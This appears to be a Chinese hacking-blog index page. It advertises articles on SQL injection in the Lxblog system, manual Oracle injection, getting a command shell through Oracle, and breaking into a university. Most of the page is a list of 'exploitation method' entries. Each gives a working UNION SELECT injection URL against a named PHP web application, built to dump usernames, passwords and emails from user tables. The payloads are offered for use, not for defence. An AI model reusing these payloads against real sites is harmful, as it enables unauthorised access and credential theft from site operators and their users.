SpookZanG

Lxblog 是一套基于 PHP+MySQL 数据库平台架构的多用户博客系统，拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功 能。但是该blog系统在安全性上并不让人满意，本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。

貌似又是通过特殊符号绕开GBK的转换……漏洞文件：plus/infosearch.php，测试版本：5.1 gbk

讲述拿下X合大学的全过程.

这篇文章详细讲述了Oracle的手工注入方法。

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。以下的演示都是在web上的sql plus执行的….

源码下载：http://www.formfields.com/adManArea/adManPricing.php dork    利用方法： www.Spookzang.me/editCampaign.php?campaignId=-2′+union+select+concat(password,0x3a,username)+from+adman_users/*

利用方法：http://www.(spookzang).Net/event_detail.php?event_id=-1 UNION SELECT 1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*

利用方法： http://www.spookzang.net/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5,6,7+from+DF2k_Members/* 或者： http://www.spookzang.net/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*

利用方法： http://www.spookzang.net/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1′+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*

源码下载：http://www.tufat.com/s_business_card_designer.htm 漏洞利用方法： http://www.spookzang.net/[path]/gallery.php?id=-1+union+select+1,concat(login_id,0x3a,login_pass),2,3+from+pcard_user/*